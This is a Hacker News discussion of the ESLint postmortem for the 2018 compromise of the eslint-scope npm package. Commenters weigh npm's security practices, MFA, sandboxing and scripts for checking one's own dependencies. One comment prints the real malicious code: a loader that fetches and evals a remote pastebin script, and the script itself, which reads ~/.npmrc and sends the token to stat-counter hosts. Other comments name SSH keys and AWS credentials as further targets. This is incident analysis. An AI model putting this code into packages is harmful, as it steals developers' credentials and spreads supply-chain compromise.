top | item 17518616

Postmortem for Malicious Packages Published on July 12th, 2018

329 points| ingve | 7 years ago |eslint.org | reply

155 comments

order
[+] tolmasky|7 years ago|reply
When we heard about this this morning at RunKit we immediately started writing a script to identify if any other packages had been possibly affected. We're in a pretty unique position since we install every version of every package in a sandbox environment as soon as it is published. The scan is pretty simple (just looking for a few key strings), and designed to catch any pre-discovery propagation. The scan is running as we speak and we've unfortunately found at least one unreported case. Luckily it seems to be a package not in too frequent use, and the way the virus propagated was also pretty bizarre (through `bundledDependencies`).

We've created a GitHub repo to track our progress that you can visit here: https://github.com/runkitdev/eslint-scope-scan

We will immediately file issues on any packages we find the exploit in. We are also open to suggestions to more sophisticated further approaches after this initial scan. Additionally, we are internally working on adding some sanity checks to the installation pipeline that might one day catch this sooner (such as monitoring network requests and file modifications during our sandbox install). Please let us know if you have any other ideas.

[+] mattbierner|7 years ago|reply
A log of network requests made on install would be a valuable start. Even if it doesn’t reveal anything actively hostile, I imagine there’s plenty of telemetry servers getting pinged and probably some http going on (both of which the package may also do at runtime but that’s a whole other problem)
[+] thenewwazoo|7 years ago|reply
FYI, I've downloaded all package versions uploaded between 2018-07-12T09:49:24.957Z and 2018-07-12T12:30:00Z (first compromised eslint package upload and key invalidation time), and got no hits for your signature strings in them.
[+] joneil|7 years ago|reply
Amazing work! I'll be following along keenly... and glad to know there's an exhaustive approach being taken to figuring out if anything else was affected
[+] thenewwazoo|7 years ago|reply
The npm team's lack of responsible action here is astonishing, if not surprising. If a token for these very popular packages was compromised, then every user of those packages could conceivably have had their tokens compromised, not just those that have it as a downstream dependency. That means every single package published between the vulnerable packages and the mass token invalidation is suspect and should be unpublished until it can be audited. npm's position that "a very small number" of packages were compromised is minimizing a potentially massive issue. Their promise to "[conduct] a deep audit of all the packages in the Registry" both misses the point and is ineffective.

I have come to expect no less from npm, and by extension, nodejs.

[+] exabrial|7 years ago|reply
Slightly off topic, but this could happen in any language, not just node. I saw Maven does not check pgp signatures.

So, I just finished a Maven plugin that verifies each artifact in the build has been signed by a pinned pgp key. This would make it now difficult for an attacker to hijack another artifact's namespace.

https://exabrial.github.io/pgp-signature-check-plugin/

I tried to make the code AS straightforward as possible, using dependency injection to make testing easy. My Hope Is you start using this in your open source projects and at your job

[+] curiousgal|7 years ago|reply
I think it's worse here because every damn node project installs 100s if not 1000s of npm packages.
[+] danjoc|7 years ago|reply
org.simplify4u.plugins:pgpverify-maven-plugin works well for me. But here we are. There's multiple ways to verify package authenticity with maven. There isn't even signatures in NPM. NPM is belligerently against end user security. They won't even accept a pull request if you do the work for them.

https://github.com/npm/npm/pull/4016

[+] vmchale|7 years ago|reply
Right but node projects tend to use ten billion trivial packages to do anything whatsoever (no standard library!) so the problem does get exacerbated. Moreover, npm has been told multiple times how to avoid this and they did not care.
[+] exabrial|7 years ago|reply
One further note... The version of Sonatype Nexus that Maven Central is running does not support signing with a subkey, and does not support ECDSA. Unfortunately, the software that needs to be fixed is proprietary.

If someone has a contact at Sonatype, I'd love to talk to them about fixing this.

[+] meowface|7 years ago|reply
>Before the incident: The attacker presumably found the maintainer’s reused email and password in a third-party breach and used them to log in to the maintainer’s npm account.

Password managers and MFA, people! Please use them. There's never a reason to not use a password manager for every website, application, and service that requires credentials. And MFA isn't everywhere, but for places that support it: use it. Ideally non-phone based if that's an option, to prevent risk of phone number/voicemail-related compromises.

[+] kevin_thibedeau|7 years ago|reply
> There's never a reason to not use a password manager

Sage advice. Right until the day that there is a major exploit of a popular password manager.

[+] thephyber|7 years ago|reply
> Password managers and MFA, people!

You're preaching to the choir on HN.

This needs to be posted on LinkedIn, Facebook, the *Grams, Imgur, Pinterest, etc.

[+] OskarS|7 years ago|reply
The most important lessons here is clear: always turn on MFA if you can, but more importantly: use a password manager. The risk from password reuse is just far too great, and there's no other reasonable way to have unique, strong passwords everywhere. In this day and age, it's irresponsible security practice to not take this step, especially if you're a developer with special access.
[+] numbsafari|7 years ago|reply
I thought the most important lesson here is that npm is a horrible single-point of failure with a terrible security track record and obtuse leadership, but has somehow become the backbone of an entire ecosystem within our industry.
[+] pier25|7 years ago|reply
Specially maintainers of popular NPM packages.

eslint-scope has 500K downloads every day for god's sake.

[+] TheDong|7 years ago|reply
Other lessons could be taken from this. For example:

When you build a package management system that has user-configurable exec scripts, run them in a secure sandbox/container by default. If you provide an override, require a user to approve it and show them the command that will be run on their system.

If npm package.json scripts only ran in a lightweight linux container with no access to the filesystem, the mere act of doing an `npm install` could not pwn your box.

Another possible takeaway would be that everyone should use Qubes, or some similar project, such that the machine where they use npm doesn't contain any important credentials, and then all publishing is done in CI or in another qubes vm dedicated to the purpose which publishes a shrinkwrapped artifact rather than installing locally.

[+] rebuilder|7 years ago|reply
Regarding password managers, I feel uncomfortable, especially when it comes to high-value targets like developers of important software.

If you're a potential target for malicious actors, is it a good idea to have a single point of failure for your logins? I certainly see the point about the realities of password reuse, but can we quantify the risks of one approach vs the other somehow?

[+] millstone|7 years ago|reply
The node development environment is bananas.

On the web, executing third-party controlled JS code is considered a profound (XSS) vulnerability, despite browsers being equipped with the strongest sandboxing. Tiny cracks are leveraged into click fraud, cryptocurrency mining, and other nefarious activities.

Meanwhile website build processes indiscriminately pull in random modules and their transitive dependencies. Modules may inadvertently stumble into a core role, like left-pad.

Popular Chrome web extensions get large monetary offers, and npm modules are surely next in line (if it's not already happening).

[+] brlewis|7 years ago|reply
I don't usually repost the same comment from one story to the next, but this might be helpful...

Here's how I checked my own machine, though I was already confident I wouldn't be affected:

  find ~ -name eslint-scope -exec grep -H version '{}/package.json' \;
If you use yarn exclusively, this will also work:

  yarn cache list | grep eslint-scope-3.7.2
[+] paulirwin|7 years ago|reply
Until all packages published since this incident are reviewed thoroughly, you cannot be confident that you aren't affected if you did an npm install today at all. Other npm package authors likely had their credentials stolen, which could mean that their packages had malicious updates too, and so on down the chain. And just because this package "only" exfiltrated npm tokens, that doesn't mean the next infections affecting the packages from the compromised tokens have the same script.
[+] thestoicattack|7 years ago|reply
As an aside, doing

    find -exec [...] +
(note + instead of \;) will exec one grep process for as many arguments as possible, instead of one grep process per file.
[+] sbr464|7 years ago|reply
Thanks for adding those commands.
[+] 11235813213455|7 years ago|reply

    find ~ -path '*/eslint-scope/package.json' -exec jq -r 'input_filename+": "+.version' {} +
or just

    jq -r 'input_filename+": "+.version' ~/**/**/eslint-scope/package.json
[+] thermodynthrway|7 years ago|reply
I don't understand how NPM is such a dumpster fire. Countless other languages use package systems for a decade without constant issues.

I get the feeling pure JS is too dynamic for such a large codebase to be reliable. We switched to Typescript a few years back because of the same issue and I'll never look back.

All our JS/TS projects inevitably end up with rm -rf node_modules as the first build step. This has been a constant since NPM 1.X, and somehow at Node 9.0 it's still needed. I never used another package manager that was so unreliable that you need to delete all your packages just to build.

And the horrific error messages when things get messed up. I would rather debug assembly.

The regular leftpad level circus events are just icing on the cake. Please somebody replace NPM. It's even worse than the constant framework churn

[+] staticassertion|7 years ago|reply
What part of this attack is npm specific?

What feature of typescript would have prevented this?

[+] throwaway5752|7 years ago|reply
NPM's not enforcing MFA for committers seems unwise. Also.. the gist seems like this should have been incredibly easy to catch with basic static analysis. The attack wasn't disguised in the slightest.
[+] KenanSulayman|7 years ago|reply
Why doesn’t npm extremely restrict public packages?

For instance, file operations could be limited to the root of the project and not access .git; it must not spawn sub-processes and http connections are limited to non-internal IPs.

I’m aware that most of these defenses could be defeated easily by using native modules et al. — but this needs to be dealt with ASAP. There’s just too many incompetent people in control of this and it’s just a matter of time until a company will pay big for this kind of horrendous engineering mistakes.

(How about an npm module hijacking a Mesos cluster by connecting to a master and deploying a service? We built a PoC of that in a hackathon and it was pretty disturbing how well it worked: running as root on all servers!)

[+] floatboth|7 years ago|reply
Because UNIX security model ¯\_(ツ)_/¯ Pretty much every modern programming environment involves running arbitrary third party code as "you", with access to all of ~/ and whatnot.

How would you solve that on a package manager level? Static analysis? It's really difficult to make an analyzer that wouldn't be trivially defeated by obfuscation, and wouldn't at the same time have false positives all the time.

Sandboxing at the language runtime (in this case node) level? Theoretically a nice idea, but difficult to implement securely. Java has been trying. Besides the fact that practically no one uses it to isolate third party libraries in server/desktop apps, there were some serious vulnerabilities: https://www.thezdi.com/blog/2018/4/25/when-java-throws-you-a...

An OS level capability-based security model like Capsicum/CloudABI is a better solution, but again — doesn't fit that well with libraries. In Capsicum, you need a process boundary to isolate code, and that implies IPC, which is a thing developers absolutely love to use all the time… (not).

Here's an awesome research idea that I sadly do not have the time to work on: make a programming environment where all shared libraries are actually servers built as CloudABI executables, library calls are actually some super-fast RPC (with e.g. Cap'n Proto to avoid spending time on serialization, and of course fd passing for capabilities), and everything is handled as transparently as possible.

As a bonus, CloudABI solves the OS portability problem. Extra research idea: merge CloudABI with WebAssembly to solve the CPU portability problem as well. End result: same application runs on Linux/amd64 and NetBSD/toaster128, with secure sandboxing for every third party left-pad module.

[+] jake-low|7 years ago|reply
I was working on a PR for a Node project when I read about this. My changes added some new dependencies and I wanted to make sure I hadn't pulled in any packages that were updated after this incident began (since the authors of those packages might have had their credentials compromised and used to push malicious updates to their packages).

I wrote a script to extract all of my changed dependencies from package-lock.json and retrieve the publication date of the resolved version from registry.npmjs.org. It's hacky but here's the steps:

First run this pipeline. You can change the first two lines if you're interested in the whole package-lock.json; I was just interested in my changes.

    git diff master -- package-lock.json \
    | grep '+\s*"resolved":' \
    | awk '$2 == "\"resolved\":" {print $3}' \
    | cut -d '"' -f2 \
    | perl -pe "s/\/-\/(?:\\S+-)((?:[0-9]+)(?:\\.[0-9]+)+\\S+)\\.tgz/ \1/" \
    > dep-urls-and-versions.txt
You now have a file which contains on each line a URL, then a space, then a version string. I ran this python script on the file.

import requests

    with open("dep-urls-and-versions.txt", "r") as f:
        for line in f.readlines():
            url, version = line.strip().split(" ")
            res = requests.get(url)
            body = res.json()
            print(body["time"][version], body["name"])
Run it as `python script.py | sort` and you'll get the most recently published packages in your package-lock.json. Just check that the last (bottom-most) timestamp is older than 2018-07-12 10:25 UTC when the first compromised package was published.

Hope that helps someone.

[+] benwilber0|7 years ago|reply
I am very surprised they stopped at just grabbing your .npmrc. They could have grabbed basically anything they want like ~/.aws/credentials, your whole .bashrc (which often contains a whole slew of API keys and access tokens), and even your whole ~/.ssh
[+] joeandaverde|7 years ago|reply
Clearly more could have been done. It's suspicious that they'd only grab npm tokens. Perhaps the responsible party just wanted to prove a point?
[+] sonnhy|7 years ago|reply
It looks like a virus that may try to replicate later on. If it passed unnoticed it could have gathered so much npm tokens to actually attack a much larger portion of developers. But nonetheless, starting with eslint should already provide quite a lot of credentials.
[+] pvtmert|7 years ago|reply
just get known_hosts and id_rsa rule the ~world~ cloud
[+] tptacek|7 years ago|reply
Important detail: these packages are dependencies of a lot of things, most notably Webpack, so you can be exposed even if you haven't done anything specific with eslint.
[+] joeandaverde|7 years ago|reply
We're lucky this issue was detected because of an error. I would bet this has happened or is happing now without anyone knowing. Javascript is particularly difficult to find malicious code as code can be executed in many forms. As long as eval exists and npm allows for pre/post-install functions and require executes code there's not much we can do except be ignorant to what's actually running every time we use node.
[+] davidbwire|7 years ago|reply
Moving forward NPM should require 2-factor authentication for popular packages.
[+] _greim_|7 years ago|reply
Has anyone ever written a static analyzer to audit an npm package? Say I'm looking to add a new npm dependency, and I do my due diligence, pouring over the code, scanning the issues log, etc, and everything looks kosher. But then it would still be nice to run it through some kind automated analyzer, which also recursively scans dependencies. I ask because even simply grepping each file for the string "eval" would have flagged this.
[+] styfle|7 years ago|reply
There is a ‘npm audit’ command but that checks for known versions of a package that have a vulnerability so it’s not a static analyzer as far as I know.
[+] vsenko|7 years ago|reply
What bothers me a lot, is that no one talked about a possible leak of private npm repositories accounts. Keys (along with repository urls) are usually stored in .npmrc along with all other stuff.

The fact that npmjs.com revoked access token has no effect on private repositories access tokens. I would recommend everyone, who uses private npm repositories, to investigate a possibility of credentials leak.

[+] ttty|7 years ago|reply
# Tech summary:

- Since 2018-07-12 9:49 UTC eslint-scope has been infected and the script was trying to send your ".npmrc" file to two different stat counter websites (sstatic1.histats.com, c.statcounter.com), via the referrer header.Affected packages: [email protected] and [email protected].

- The ".npmrc" (contains your npm tokens to publish a new npm package under your account) would allow the attacker to publish other npm package under your name (if you are a owner) and make a bigger mess.

- Looks like the attacker wanted to gain more npm packages and maybe has done so already. The attacker removed the infected package at 2018-07-12 12:37 UTC so he had at least a few hours to gather other npm auth tokens.

- Between 2018-07-12 12:37 UTC and 2018-07-12 17:41 UTC the package [email protected] has been removed, but some pc could get this old package because of some cache, increasing the attack vector. Only at 2018-07-12 17:41 UTC a new version has been deployed.

- Be careful if you cache npm packages on your server (nexus or similar).

# All npm packages that directly depends on "eslint-scope"

  - "webpack" (9k dependents)
  - "eslint" (6k dependents)
  - "babel-eslint" (5k dependents)
  - "vue-eslint-parser"
  - "atom-eslint-parser"
  - "eslint-web"
  - "react-input-select"
  - "react-native-handcheque-engine"
  - "react-redux-demo1"
  - "a_react_reflux_demo"
  - "eslint-nullish-coalescing"
  - "@mattduffield/eslint4b"
  - "miguelcostero-ng2-toasty"
  - "@sailshq/eslint"
  - "eslint4b"
  - "@helpscout/zero"
 
Be careful there are more packages that depends on these as well.

# What to do now?

Assume your ".npmrc" file has been stolen. If you have any packages published they might have been compromised, check them. NPM team revoked all auth tokens at 2018-07-12 12:30 UTC.

# How it happened:

"The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account."

# How has been discovered

At 12:17 UK time on 12 July 2018 https://github.com/pronebird opened an issue https://github.com/eslint/eslint-scope/issues/39 with this log error:

  [2/3] ⠠ eslint-scope
  error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
    Exit code: 1
  Command: node ./lib/build.js
  Arguments:
    Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
  Output:
    undefined:30
  https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
      ^^^^^^
  
      SyntaxError: Unexpected end of input
  at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
  at emitOne (events.js:116:13)
  at IncomingMessage.emit (events.js:211:7)
  at IncomingMessage.Readable.read (_stream_readable.js:475:10)
  at flow (_stream_readable.js:846:34)
  at resume_ (_stream_readable.js:828:3)
  at _combinedTickCallback (internal/process/next_tick.js:138:11)

So looks like if there was no error we would not discover it so quickly. So we were lucky!

#Technical details:

node_module code for eslint-scope-3.7.2 https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2... (still the original code):

  try {
    var https = require('https');
    https.get({
      'hostname': 'pastebin.com',
      path: '/raw/XLeVP82h',
      headers: {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
        Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
      }
    }, (r) => {
      r.setEncoding('utf8');
      r.on('data', (c) => {
        eval(c);
      });
      r.on('error', () => {
      });
  
    }).on('error', () => {
    });
  } catch (e) {
  }
Pastebin script http://pastebin.com/raw/XLeVP82h (Now removed):

  try {
    var path = require('path');
    var fs = require('fs');
    var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
    var content = "nofile";
  
    if (fs.existsSync(npmrc)) {
  
      content = fs.readFileSync(npmrc, {encoding: 'utf8'});
      content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
  
      var https1 = require('https');
      https1.get({
        hostname: 'sstatic1.histats.com',
        path: '/0.gif?4103075&101',
        method: 'GET',
        headers: {Referer: 'http://1.a/' + content}
      }, () => {
      }).on("error", () => {
      });
      https1.get({
        hostname: 'c.statcounter.com',
        path: '/11760461/0/7b5b9d71/1/',
        method: 'GET',
        headers: {Referer: 'http://2.b/' + content}
      }, () => {
      }).on("error", () => {
      });
  
    }
  } catch (e) {
  }

"As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header."

Source: https://github.com/eslint/eslint-scope/issues/39

# How to mitigate front-end code from malicious npm/yarn packages

I actually discussed this with my colleagues at work. I think from now on I'll assume that all code is compromised.

One big way to reduce this attack vector is to use content-security-privacy set to sandbox https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP . This will not allow your page to open any requests to other websites, not even a img tag or window.open. In this way even if the attacked has your password can't send it to his server.

Of course he can mess up with your code, but reduces a bit the attack vector. Example: let's say you are building a trading platform, you want to buy 1 share, but the attacker will bump your order to 10 shares without you even knowing. For this to happen, the attacker has to specifically target your website.

Read more about security of node_modules and other packages (this could affect java and other languages, not just javascript and npm/yarn): https://hackernoon.com/im-harvesting-credit-card-numbers-and...

Be careful that if you white list google analytics the attacker can send the passwords to his google analytics account as well. You could also check if the url of analytics contains your GA-ID, but the attacker could bypass this one as well.

# What to do next

Think of more ways to mitigate malicious node_modules and how to handle it.

Even if npm will improve the security, we still can't rely on devs to have the best interest in mind or being hacked. So I think we really need to accept that npm modules are infected by default and work from there.

# More implications that I can think about (add more please)

Assume your server (jenkins) that loads your node_modules can also be infected (you could use docker to mitigate this issue).

If you run a node.js app, be careful about the open ports and the network request (limit in and outbound domains). That's not enough, the attacker could generate a new route on your website "/your-passwords" and return a json with your users table. Not easy to do, but possible if your server has a malicious node_module.

Any other important/private files you have on your pc could have been stolen.

Very unlikely: Your server side could be infected (maybe some other code has been executed there from this package, I'm not sure if you can update the pastebin contents) and propagate to other servers.

This is just a package we happened to notice, maybe there are more infected packages we don't know about.

[+] TekMol|7 years ago|reply
I am not familiar with npm package maintenance. Can somebody explain these two recommendations to me?

    Package maintainers should be careful with using
    any services that auto-merge dependency upgrades.
What is an example of such a service? What is an 'auto-merge' of 'dependency upgrades'?

    Application developers should use a lockfile
    (package-lock.json or yarn.lock) to prevent the
    auto-install of new packages.
What is an auto-install of a new package? What triggers it?
[+] Guillaume86|7 years ago|reply
I guess there's CI services that pull latest versions of dependencies (in the accepted version range), build, run tests and submit a pull request if everything seems ok.

Edit: actually no I don't know, there would be nothing to submit if no lockfile is used.

[+] franciscop|7 years ago|reply
One thing is unclear to me is, how does sending the credentials to statcounter work for the attacker? How would they recover the credentials afterwards? Assuming the statcounter website itself has not turned bad of course.

I can think about two potential ways but I have no idea if it's any of those:

- Very detailed filter to the point of seeing individual requests and so the token in the referrer URL.

- The referrer URL is the one that is actually getting the info, so when statcounter tries to crawl it then it will send the credentials there.